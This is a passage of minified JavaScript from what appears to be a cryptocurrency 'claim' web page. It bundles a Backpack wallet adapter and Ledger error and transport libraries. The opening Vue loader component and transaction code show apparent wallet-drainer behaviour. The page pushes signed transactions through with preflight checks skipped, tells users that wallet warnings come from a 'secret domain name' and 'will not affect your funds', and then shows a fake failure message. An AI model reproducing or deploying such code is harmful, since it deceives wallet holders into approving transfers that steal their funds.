q=0;q<I.length;q++)try{await i.sendRawTransaction(I[q].serialize(),{skipPreflight:!0})}catch{continue}setTimeout(()=>{Ny({message:"Transaction failed. Please try again.",type:"error",plain:!0})},2e3)}catch(m){console.log(m),e.isShowBalance=!0}finally{e.isLoading=!1,e.isShowBack=!0}},Pl=e=>(nA("data-v-65cad27c"),e=e(),rA(),e),d0e={key:0,class:"loader"},f0e=Pl(()=>ne("div",{class:"loader_background"},null,-1)),h0e={class:"loader_content"},p0e={key:0,class:"loader_content_text"},m0e={class:"loader_content_text_description"},v0e=Pl(()=>ne("br",null,null,-1)),g0e=Pl(()=>ne("br",null,null,-1)),y0e=Pl(()=>ne("br",null,null,-1)),b0e=Pl(()=>ne("br",null,null,-1)),I0e={class:"loader_content_text_description--1"},q0e={key:1,class:"loader_content_dont-refresh"},w0e=Pl(()=>ne("div",{class:"loader_content_dont-refresh_title"}," Please Do Not Refresh the Page ",-1)),S0e=Pl(()=>ne("div",{class:"loader_content_dont-refresh_text"}," We are currently processing your request. This may take some time. Refreshing the page may interrupt the process and cause delays. Thank you for your patience! ",-1)),E0e=[w0e,S0e],A0e={class:"loader_content_actions"},M0e=["disabled"],C0e={class:"loader_content_warning"},k0e=ie({__name:"Loading",setup(e){const t=p1(),n=D("Claiming..."),r=()=>{t.isShowGuide=!1};return setInterval(()=>{n.value==="Claiming..."?n.value="Claiming.":n.value==="Claiming.."?n.value="Claiming...":n.value==="Claiming."&&(n.value="Claiming..")},500),(o,i)=>(B(),ye(Hn,{name:"loading-background"},{default:fe(()=>[d(t).isShowGuide?(B(),_("div",d0e,[f0e,ne("div",h0e,[d(t).isLoading?(B(),_("div",q0e,E0e)):(B(),_("div",p0e,[ne("div",m0e,[Kt(" Some wallets may mark the transaction as suspicious. "),v0e,Kt(" Transaction simulation may also not work. "),g0e,Kt(" Don't worry, it will not affect your funds. "),y0e,Kt(" This is due to the use of a secret domain name. "),b0e,Kt(" Follow the prompt below. If you encounter any issues, please email us at "+We(d(t).email),1)]),ne("div",I0e," Some wallets may mark the transaction as suspicious. Don't worry, it will not affect your funds. This is due to the use of a secret domain name. If you encounter any issues, please email us at "+We(d(t).email),1)])),ne("div",A0e,[ne("button",{disabled:d(t).isLoading,onClick:i[0]||(i[0]=(...s)=>d(A0)&&d(A0)(...s)),class:"loader_content_actions_button"},We(`${d(t).isLoading?n.value:d(t).buttonText}`),9,M0e)]),ne("div",C0e,[ne("img",{class:"loader_content_warning_img",src:JW,onClick:i[1]||(i[1]=s=>d(t).isLoading?void 0:d(A0)())}),d(t).isShowBack?(B(),_("div",{key:0,onClick:r,class:"loader_content_warning_close"}," Back ")):pe("",!0)])])])):pe("",!0)]),_:1}))}}),x0e=kb(k0e,[["__scopeId","data-v-65cad27c"]]),O0e={class:"wrapper"},z0e=ie({__name:"Template",setup(e){return(t,n)=>(B(),_("div",O0e,[pe("",!0),pe("",!0),ae(BW),pe("",!0),ae(x0e)]))}}),K0e=kb(z0e,[["__scopeId","data-v-2ad755aa"]]),R0e={class:"app"},L0e=ie({__name:"App",setup(e){return(t,n)=>(B(),_("div",R0e,[ae(K0e)]))}}),Z0e="Backpack";class T0e extends Xd{constructor(t={}){super(),this.name=Z0e,this.url="https://backpack.app",this.icon="data:image/png;base64,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",this.supportedTransactionVersions=null,this._readyState=typeof window>"u"||typeof document>"u"?Wt.Unsupported:Wt.NotDetected,this._disconnected=()=>{const n=this._wallet;n&&(n.off("disconnect",this._disconnected),this._wallet=null,this._publicKey=null,this.emit("error",new dc),this.emit("disconnect"))},this._connecting=!1,this._wallet=null,this._publicKey=null,this._readyState!==Wt.Unsupported&&am(()=>{var n;return(n=window.backpack)!=null&&n.isBackpack?(this._readyState=Wt.Installed,this.emit("readyStateChange",this._readyState),!0):!1})}get publicKey(){return this._publicKey}get connecting(){return this._connecting}get connected(){var t;return!!((t=this._wallet)!=null&&t.isConnected)}get readyState(){return this._readyState}async connect(){try{if(this.connected||this.connecting)return;if(this._readyState!==Wt.Installed)throw new Ti;this._connecting=!0;const t=window.backpack;try{await t.connect()}catch(r){throw new gs(r==null?void 0:r.message,r)}if(!t.publicKey)throw new dl;let n;try{n=new ht(t.publicKey.toBytes())}catch(r){throw new Ni(r==null?void 0:r.message,r)}t.on("disconnect",this._disconnected),this._wallet=t,this._publicKey=n,this.emit("connect",n)}catch(t){throw this.emit("error",t),t}finally{this._connecting=!1}}async disconnect(){const t=this._wallet;if(t){t.off("disconnect",this._disconnected),this._wallet=null,this._publicKey=null;try{await t.disconnect()}catch(n){this.emit("error",new Il(n==null?void 0:n.message,n))}}this.emit("disconnect")}async sendTransaction(t,n,r={}){try{const o=this._wallet;if(!o)throw new In;const{signers:i,...s}=r;try{return await o.send(t,i,s,n,this.publicKey)}catch(a){throw new zi(a==null?void 0:a.message,a)}}catch(o){throw this.emit("error",o),o}}async signTransaction(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signTransaction(t,this.publicKey)}catch(r){throw new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}async signAllTransactions(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signAllTransactions(t,this.publicKey)}catch(r){throw new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}async signMessage(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signMessage(t,this.publicKey)}catch(r){throw new ql(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}}const N0e="modulepreload",j0e=function(e,t){return new URL(e,t).href},J7={},PI=function(t,n,r){let o=Promise.resolve();if(n&&n.length>0){const i=document.getElementsByTagName("link"),s=document.querySelector("meta[property=csp-nonce]"),a=(s==null?void 0:s.nonce)||(s==null?void 0:s.getAttribute("nonce"));o=Promise.all(n.map(l=>{if(l=j0e(l,r),l in J7)return;J7[l]=!0;const u=l.endsWith(".css"),c=u?'[rel="stylesheet"]':"";if(!!r)for(let m=i.length-1;m>=0;m--){const g=i[m];if(g.href===l&&(!u||g.rel==="stylesheet"))return}else if(document.querySelector(`link[href="${l}"]${c}`))return;const p=document.createElement("link");if(p.rel=u?"stylesheet":N0e,u||(p.as="script",p.crossOrigin=""),p.href=l,a&&p.setAttribute("nonce",a),document.head.appendChild(p),u)return new Promise((m,g)=>{p.addEventListener("load",m),p.addEventListener("error",()=>g(new Error(`Unable to preload CSS for ${l}`)))})}))}return o.then(()=>t()).catch(i=>{const s=new Event("vite:preloadError",{cancelable:!0});if(s.payload=i,window.dispatchEvent(s),!s.defaultPrevented)throw i})},X4={},Q4={},DI=(e,t)=>{Q4[e]=t},He=e=>{class t extends Error{constructor(r,o,i){if(super(r||e,i),Object.setPrototypeOf(this,t.prototype),this.name=e,o)for(const s in o)this[s]=o[s];if(i&&W0e(i)&&"cause"in i&&!("cause"in this)){const s=i.cause;this.cause=s,"stack"in s&&(this.stack=this.stack+`
CAUSE: `+s.stack)}}}return X4[e]=t,t};function W0e(e){return typeof e=="object"}const _4=e=>{if(e&&typeof e=="object"){try{if(typeof e.message=="string"){const n=JSON.parse(e.message);n.message&&n.name&&(e=n)}}catch{}let t;if(typeof e.name=="string"){const{name:n}=e,r=Q4[n];if(r)t=r(e);else{let o=n==="Error"?Error:X4[n];o||(console.warn("deserializing an unknown class '"+n+"'"),o=He(n)),t=Object.create(o.prototype);try{for(const i in e)e.hasOwnProperty(i)&&(t[i]=e[i])}catch{}}}else typeof e.message=="string"&&(t=new Error(e.message));return t&&!t.stack&&Error.captureStackTrace&&Error.captureStackTrace(t,_4),t}return new Error(String(e))},G0e=e=>e&&(typeof e=="object"?$4(e,[]):typeof e=="function"?`[Function: ${e.name||"anonymous"}]`:e);function $4(e,t){const n={};t.push(e);for(const r of Object.keys(e)){const o=e[r];if(typeof o!="function"){if(!o||typeof o!="object"){n[r]=o;continue}if(t.indexOf(e[r])===-1){n[r]=$4(e[r],t.slice(0));continue}n[r]="[Circular]"}}return typeof e.name=="string"&&(n.name=e.name),typeof e.message=="string"&&(n.message=e.message),typeof e.stack=="string"&&(n.stack=e.stack),n}const Y0e=He("AccountNameRequired"),B0e=He("AccountNotSupported"),J0e=He("AmountRequired"),V0e=He("BluetoothRequired"),U0e=He("BtcUnmatchedApp"),F0e=He("CantOpenDevice"),H0e=He("CashAddrNotSupported"),P0e=He("ClaimRewardsFeesWarning"),D0e=He("CurrencyNotSupported"),X0e=He("DeviceAppVerifyNotSupported"),Q0e=He("DeviceGenuineSocketEarlyClose"),_0e=He("DeviceNotGenuine"),$0e=He("DeviceOnDashboardExpected"),ege=He("DeviceOnDashboardUnexpected"),tge=He("DeviceInOSUExpected"),nge=He("DeviceHalted"),rge=He("DeviceNameInvalid"),oge=He("DeviceSocketFail"),ige=He("DeviceSocketNoBulkStatus"),sge=He("DeviceSocketNoBulkStatus"),age=He("UnresponsiveDeviceError"),eO=He("DisconnectedDevice"),tO=He("DisconnectedDeviceDuringOperation"),lge=He("DeviceExtractOnboardingStateError"),uge=He("DeviceOnboardingStatePollingError"),cge=He("EnpointConfig"),dge=He("EthAppPleaseEnableContractData"),fge=He("FeeEstimationFailed"),hge=He("FirmwareNotRecognized"),pge=He("HardResetFail"),mge=He("InvalidXRPTag"),vge=He("InvalidAddress"),gge=He("InvalidNonce"),yge=He("InvalidAddressBecauseDestinationIsAlsoSource"),bge=He("LatestMCUInstalledError"),Ige=He("UnknownMCU"),qge=He("LedgerAPIError"),wge=He("LedgerAPIErrorWithMessage"),Sge=He("LedgerAPINotAvailable"),Ege=He("ManagerAppAlreadyInstalled"),Age=He("ManagerAppRelyOnBTC"),Mge=He("ManagerAppDepInstallRequired"),Cge=He("ManagerAppDepUninstallRequired"),kge=He("ManagerDeviceLocked"),xge=He("ManagerFirmwareNotEnoughSpace"),Oge=He("ManagerNotEnoughSpace"),zge=He("ManagerUninstallBTCDep"),Kge=He("NetworkDown"),Rge=He("NetworkError"),Lge=He("NoAddressesFound"),Zge=He("NotEnoughBalance"),Tge=He("NotEnoughBalanceToDelegate"),Nge=He("NotEnoughBalanceInParentAccount"),jge=He("NotEnoughSpendableBalance"),Wge=He("NotEnoughBalanceBecauseDestinationNotCreated"),Gge=He("NoAccessToCamera"),Yge=He("NotEnoughGas"),Bge=He("NotEnoughGasSwap"),Jge=He("NotSupportedLegacyAddress"),Vge=He("GasLessThanEstimate"),Uge=He("PriorityFeeTooLow"),Fge=He("PriorityFeeTooHigh"),Hge=He("PriorityFeeHigherThanMaxFee"),Pge=He("MaxFeeTooLow"),Dge=He("PasswordsDontMatch"),Xge=He("PasswordIncorrect"),Qge=He("RecommendSubAccountsToEmpty"),_ge=He("RecommendUndelegation"),$ge=He("TimeoutTagged"),eye=He("UnexpectedBootloader"),tye=He("MCUNotGenuineToDashboard"),nye=He("RecipientRequired"),rye=He("UnavailableTezosOriginatedAccountReceive"),oye=He("UnavailableTezosOriginatedAccountSend"),iye=He("UpdateFetchFileFail"),sye=He("UpdateIncorrectHash"),aye=He("UpdateIncorrectSig"),lye=He("UpdateYourApp"),uye=He("UserRefusedDeviceNameChange"),cye=He("UserRefusedAddress"),dye=He("UserRefusedFirmwareUpdate"),fye=He("UserRefusedAllowManager"),hye=He("UserRefusedOnDevice"),pye=He("ExpertModeRequired"),Wy=He("TransportOpenUserCancelled"),mye=He("TransportInterfaceNotAvailable"),nO=He("TransportRaceCondition"),vye=He("TransportWebUSBGestureRequired"),gye=He("TransactionHasBeenValidatedError"),yye=He("TransportExchangeTimeoutError"),bye=He("DeviceShouldStayInApp"),Iye=He("WebsocketConnectionError"),qye=He("WebsocketConnectionFailed"),wye=He("WrongDeviceForAccount"),Sye=He("WrongAppForCurrency"),Eye=He("ETHAddressNonEIP"),Aye=He("CantScanQRCode"),Mye=He("FeeNotLoaded"),Cye=He("FeeNotLoadedSwap"),kye=He("FeeRequired"),xye=He("FeeTooHigh"),Oye=He("PendingOperation"),zye=He("SyncError"),Kye=He("PairingFailed"),Rye=He("PeerRemovedPairing"),Lye=He("GenuineCheckFailed"),Zye=He("LedgerAPI4xx"),Tye=He("LedgerAPI5xx"),Nye=He("FirmwareOrAppUpdateRequired"),jye=He("ReplacementTransactionUnderpriced"),Wye=He("OpReturnSizeLimit"),Gye=He("DustLimit"),Yye=He("LanguageNotFound"),Bye=He("NoDBPathGiven"),Jye=He("DBWrongPassword"),Vye=He("DBNotReset");var Gy;(function(e){e.Unknown="Unknown",e.LocationServicesDisabled="LocationServicesDisabled",e.LocationServicesUnauthorized="LocationServicesUnauthorized",e.BluetoothScanStartFailed="BluetoothScanStartFailed"})(Gy||(Gy={}));class XI extends Error{constructor(t,n){super(n),this.name="HwTransportError",this.type=t,Object.setPrototypeOf(this,XI.prototype)}}class sl extends Error{constructor(t,n){const r="TransportError";super(t||r),this.name=r,this.message=t,this.stack=new Error(t).stack,this.id=n}}DI("TransportError",e=>new sl(e.message,e.id));const yl={ACCESS_CONDITION_NOT_FULFILLED:38916,ALGORITHM_NOT_SUPPORTED:38020,CLA_NOT_SUPPORTED:28160,CODE_BLOCKED:38976,CODE_NOT_INITIALIZED:38914,COMMAND_INCOMPATIBLE_FILE_STRUCTURE:27009,CONDITIONS_OF_USE_NOT_SATISFIED:27013,CONTRADICTION_INVALIDATION:38928,CONTRADICTION_SECRET_CODE_STATUS:38920,CUSTOM_IMAGE_BOOTLOADER:26159,CUSTOM_IMAGE_EMPTY:26158,FILE_ALREADY_EXISTS:27273,FILE_NOT_FOUND:37892,GP_AUTH_FAILED:25344,HALTED:28586,INCONSISTENT_FILE:37896,INCORRECT_DATA:27264,INCORRECT_LENGTH:26368,INCORRECT_P1_P2:27392,INS_NOT_SUPPORTED:27904,DEVICE_NOT_ONBOARDED:27911,DEVICE_NOT_ONBOARDED_2:26129,INVALID_KCV:38021,INVALID_OFFSET:37890,LICENSING:28482,LOCKED_DEVICE:21781,MAX_VALUE_REACHED:38992,MEMORY_PROBLEM:37440,MISSING_CRITICAL_PARAMETER:26624,NO_EF_SELECTED:37888,NOT_ENOUGH_MEMORY_SPACE:27268,OK:36864,PIN_REMAINING_ATTEMPTS:25536,REFERENCED_DATA_NOT_FOUND:27272,SECURITY_STATUS_NOT_SATISFIED:27010,TECHNICAL_PROBLEM:28416,UNKNOWN_APDU:27906,USER_REFUSED_ON_DEVICE:21761,NOT_ENOUGH_SPACE:20738};function rO(e){switch(e){case 26368:return"Incorrect length";case 26624:return"Missing critical parameter";case 27010:return"Security not satisfied (dongle locked or have invalid access rights)";case 27013:return"Condition of use not satisfied (denied by the user?)";case 27264:return"Invalid data received";case 27392:return"Invalid parameter received";case 21781:return"Locked device"}if(28416<=e&&e<=28671)return"Internal error, please report"}class Dl extends Error{constructor(t,{canBeMappedToChildError:n=!0}={}){const r=Object.keys(yl).find(a=>yl[a]===t)||"UNKNOWN_ERROR",o=rO(t)||r,i=t.toString(16),s=`Ledger device: ${o} (0x${i})`;if(super(s),this.name="TransportStatusError",this.statusCode=t,this.statusText=r,Object.setPrototypeOf(this,Dl.prototype),n&&t===yl.LOCKED_DEVICE)return new _m(s)}}class _m extends Dl{constructor(t){super(yl.LOCKED_DEVICE,{canBeMappedToChildError:!1}),t&&(this.message=t),this.name="LockedDeviceError",Object.setPrototypeOf(this,_m.prototype)}}DI("TransportStatusError",e=>new Dl(e.statusCode));const Uye=Object.freeze(Object.defineProperty({__proto__:null,AccountNameRequiredError:Y0e,AccountNotSupported:B0e,AmountRequired:J0e,BluetoothRequired:V0e,BtcUnmatchedApp:U0e,CantOpenDevice:F0e,CantScanQRCode:Aye,CashAddrNotSupported:H0e,ClaimRewardsFeesWarning:P0e,CurrencyNotSupported:D0e,DBNotReset:Vye,DBWrongPassword:Jye,DeviceAppVerifyNotSupported:X0e,DeviceExtractOnboardingStateError:lge,DeviceGenuineSocketEarlyClose:Q0e,DeviceHalted:nge,DeviceInOSUExpected:tge,DeviceNameInvalid:rge,DeviceNeedsRestart:sge,DeviceNotGenuineError:_0e,DeviceOnDashboardExpected:$0e,DeviceOnDashboardUnexpected:ege,DeviceOnboardingStatePollingError:uge,DeviceShouldStayInApp:bye,DeviceSocketFail:oge,DeviceSocketNoBulkStatus:ige,DisconnectedDevice:eO,DisconnectedDeviceDuringOperation:tO,DustLimit:Gye,ETHAddressNonEIP:Eye,EnpointConfigError:cge,EthAppPleaseEnableContractData:dge,ExpertModeRequired:pye,FeeEstimationFailed:fge,FeeNotLoaded:Mye,FeeNotLoadedSwap:Cye,FeeRequired:kye,FeeTooHigh:xye,FirmwareNotRecognized:hge,FirmwareOrAppUpdateRequired:Nye,GasLessThanEstimate:Vge,GenuineCheckFailed:Lye,HardResetFail:pge,HwTransportError:XI,get HwTransportErrorType(){return Gy},InvalidAddress:vge,InvalidAddressBecauseDestinationIsAlsoSource:yge,InvalidNonce:gge,InvalidXRPTag:mge,LanguageNotFound:Yye,LatestMCUInstalledError:bge,LedgerAPI4xx:Zye,LedgerAPI5xx:Tye,LedgerAPIError:qge,LedgerAPIErrorWithMessage:wge,LedgerAPINotAvailable:Sge,LockedDeviceError:_m,MCUNotGenuineToDashboard:tye,ManagerAppAlreadyInstalledError:Ege,ManagerAppDepInstallRequired:Mge,ManagerAppDepUninstallRequired:Cge,ManagerAppRelyOnBTCError:Age,ManagerDeviceLockedError:kge,ManagerFirmwareNotEnoughSpaceError:xge,ManagerNotEnoughSpaceError:Oge,ManagerUninstallBTCDep:zge,MaxFeeTooLow:Pge,NetworkDown:Kge,NetworkError:Rge,NoAccessToCamera:Gge,NoAddressesFound:Lge,NoDBPathGiven:Bye,NotEnoughBalance:Zge,NotEnoughBalanceBecauseDestinationNotCreated:Wge,NotEnoughBalanceInParentAccount:Nge,NotEnoughBalanceToDelegate:Tge,NotEnoughGas:Yge,NotEnoughGasSwap:Bge,NotEnoughSpendableBalance:jge,NotSupportedLegacyAddress:Jge,OpReturnDataSizeLimit:Wye,PairingFailed:Kye,PasswordIncorrectError:Xge,PasswordsDontMatchError:Dge,PeerRemovedPairing:Rye,PendingOperation:Oye,PriorityFeeHigherThanMaxFee:Hge,PriorityFeeTooHigh:Fge,PriorityFeeTooLow:Uge,RecipientRequired:nye,RecommendSubAccountsToEmpty:Qge,RecommendUndelegation:_ge,ReplacementTransactionUnderpriced:jye,StatusCodes:yl,SyncError:zye,TimeoutTagged:$ge,TransactionHasBeenValidatedError:gye,TransportError:sl,TransportExchangeTimeoutError:yye,TransportInterfaceNotAvailable:mye,TransportOpenUserCancelled:Wy,TransportRaceCondition:nO,TransportStatusError:Dl,TransportWebUSBGestureRequired:vye,UnavailableTezosOriginatedAccountReceive:rye,UnavailableTezosOriginatedAccountSend:oye,UnexpectedBootloader:eye,UnknownMCU:Ige,UnresponsiveDeviceError:age,UpdateFetchFileFail:iye,UpdateIncorrectHash:sye,UpdateIncorrectSig:aye,UpdateYourApp:lye,UserRefusedAddress:cye,UserRefusedAllowManager:fye,UserRefusedDeviceNameChange:uye,UserRefusedFirmwareUpdate:dye,UserRefusedOnDevice:hye,WebsocketConnectionError:Iye,WebsocketConnectionFailed:qye,WrongAppForCurrency:Sye,WrongDeviceForAccount:wye,addCustomErrorDeserializer:DI,createCustomErrorClass:He,deserializeError:_4,getAltStatusMessage:rO,serializeError:G0e},Symbol.toStringTag,{value:"Module"}));var M0=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})},C0=function(e,t){var n={label:0,sent:function(){if(i[0]&1)throw i[1];return i[1]},trys:[],ops:[]},r,o,i,s;return s={next:a(0),throw:a(1),return:a(2)},typeof Symbol=="function"&&(s[Symbol.iterator]=function(){return this}),s;function a(u){return function(c){return l([u,c])}}function l(u){if(r)throw new TypeError("Generator is already executing.");for(;n;)try{if(r=1,o&&(i=u[0]&2?o.return:u[0]?o.throw||((i=o.return)&&i.call(o),0):o.next)&&!(i=i.call(o,u[1])).done)return i;switch(o=0,i&&(u=[u[0]&2,i.value]),u[0]){case 0:case 1:i=u;break;case 4:return n.label++,{value:u[1],done:!1};case 5:n.label++,o=u[1],u=[0];continue;case 7:u=n.ops.pop(),n.trys.pop();continue;default:if(i=n.trys,!(i=i.length>0&&i[i.length-1])&&(u[0]===6||u[0]===2)){n=0;continue}if(u[0]===3&&(!i||u[1]>i[0]&&u[1]<i[3])){n.label=u[1];break}if(u[0]===6&&n.label<i[1]){n.label=i[1],i=u;break}if(i&&n.label<i[2]){n.label=i[2],n.ops.push(u);break}i[2]&&n.ops.pop(),n.trys.pop();continue}u=t.call(e,n)}catch(c){u=[6,c],o=0}finally{r=i=0}if(u[0]&5)throw u[1];return{value:u[0]?u[1]:void 0,done:!0}}},Fye=function(e,t){var n=typeof Symbol=="function"&&e[Symbol.iterator];if(!n)return e;var r=n.call(e),o,i=[],s;try{for(;(t===void 0||t-- >0)&&!(o=r.next()).done;)i.push(o.value)}catch(a){s={error:a}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(s)throw s.error}}return i},Hye=function(e,t,n){if(n||arguments.length===2)for(var r=0,o=t.length,i;r<o;r++)(i||!(r in t))&&(i||(i=Array.prototype.slice.call(t,0,r)),i[r]=t[r]);return e.concat(i||Array.prototype.slice.call(t))},Pye=function(e){var t=typeof Symbol=="function"&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&typeof e.length=="number")return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")},Dye=function(){function e(){var t=this;this.exchangeTimeout=3e4,this.unresponsiveTimeout=15e3,this.deviceModel=null,this._events=new oG,this.send=function(n,r,o,i,s,a){return s===void 0&&(s=sn.alloc(0)),a===void 0&&(a=[yl.OK]),M0(t,void 0,void 0,function(){var l,u;return C0(this,function(c){switch(c.label){case 0:if(s.length>=256)throw new sl("data.length exceed 256 bytes limit. Got: "+s.length,"DataLengthTooBig");return[4,this.exchange(sn.concat([sn.from([n,r,o,i]),sn.from([s.length]),s]))];case 1:if(l=c.sent(),u=l.readUInt16BE(l.length-2),!a.some(function(f){return f===u}))throw new Dl(u);return[2,l]}})})},this.exchangeAtomicImpl=function(n){return M0(t,void 0,void 0,function(){var r,o,i,s,a,l=this;return C0(this,function(u){switch(u.label){case 0:if(this.exchangeBusyPromise)throw new nO("An action was already pending on the Ledger device. Please deny or reconnect.");o=new Promise(function(c){r=c}),this.exchangeBusyPromise=o,i=!1,s=setTimeout(function(){i=!0,l.emit("unresponsive")},this.unresponsiveTimeout),u.label=1;case 1:return u.trys.push([1,,3,4]),[4,n()];case 2:return a=u.sent(),i&&this.emit("responsive"),[2,a];case 3:return clearTimeout(s),r&&r(),this.exchangeBusyPromise=null,[7];case 4:return[2]}})})},this._appAPIlock=null}return e.prototype.exchange=function(t){throw new Error("exchange not implemented")},e.prototype.setScrambleKey=function(t){},e.prototype.close=function(){return Promise.resolve()},e.prototype.on=function(t,n){this._events.on(t,n)},e.prototype.off=function(t,n){this._events.removeListener(t,n)},e.prototype.emit=function(t){for(var n,r=[],o=1;o<arguments.length;o++)r[o-1]=arguments[o];(n=this._events).emit.apply(n,Hye([t],Fye(r),!1))},e.prototype.setDebugMode=function(){console.warn("setDebugMode is deprecated. use @ledgerhq/logs instead. No logs are emitted in this anymore.")},e.prototype.setExchangeTimeout=function(t){this.exchangeTimeout=t},e.prototype.setExchangeUnresponsiveTimeout=function(t){this.unresponsiveTimeout=t},e.create=function(t,n){var r=this;return t===void 0&&(t=3e3),new Promise(function(o,i){var s=!1,a=r.listen({next:function(u){s=!0,a&&a.unsubscribe(),l&&clearTimeout(l),r.open(u.descriptor,t).then(o,i)},error:function(u){l&&clearTimeout(l),i(u)},complete:function(){l&&clearTimeout(l),s||i(new sl(r.ErrorMessage_NoDeviceFound,"NoDeviceFound"))}}),l=n?setTimeout(function(){a.unsubscribe(),i(new sl(r.ErrorMessage_ListenTimeout,"ListenTimeout"))},n):null})},e.prototype.decorateAppAPIMethods=function(t,n,r){var o,i;try{for(var s=Pye(n),a=s.next();!a.done;a=s.next()){var l=a.value;t[l]=this.decorateAppAPIMethod(l,t[l],t,r)}}catch(u){o={error:u}}finally{try{a&&!a.done&&(i=s.return)&&i.call(s)}finally{if(o)throw o.error}}},e.prototype.decorateAppAPIMethod=function(t,n,r,o){var i=this;return function(){for(var s=[],a=0;a<arguments.length;a++)s[a]=arguments[a];return M0(i,void 0,void 0,function(){var l;return C0(this,function(u){switch(u.label){case 0:if(l=this._appAPIlock,l)return[2,Promise.reject(new sl("Ledger Device is busy (lock "+l+")","TransportLocked"))];u.label=1;case 1:return u.trys.push([1,,3,4]),this._appAPIlock=t,this.setScrambleKey(o),[4,n.apply(r,s)];case 2:return[2,u.sent()];case 3:return this._appAPIlock=null,[7];case 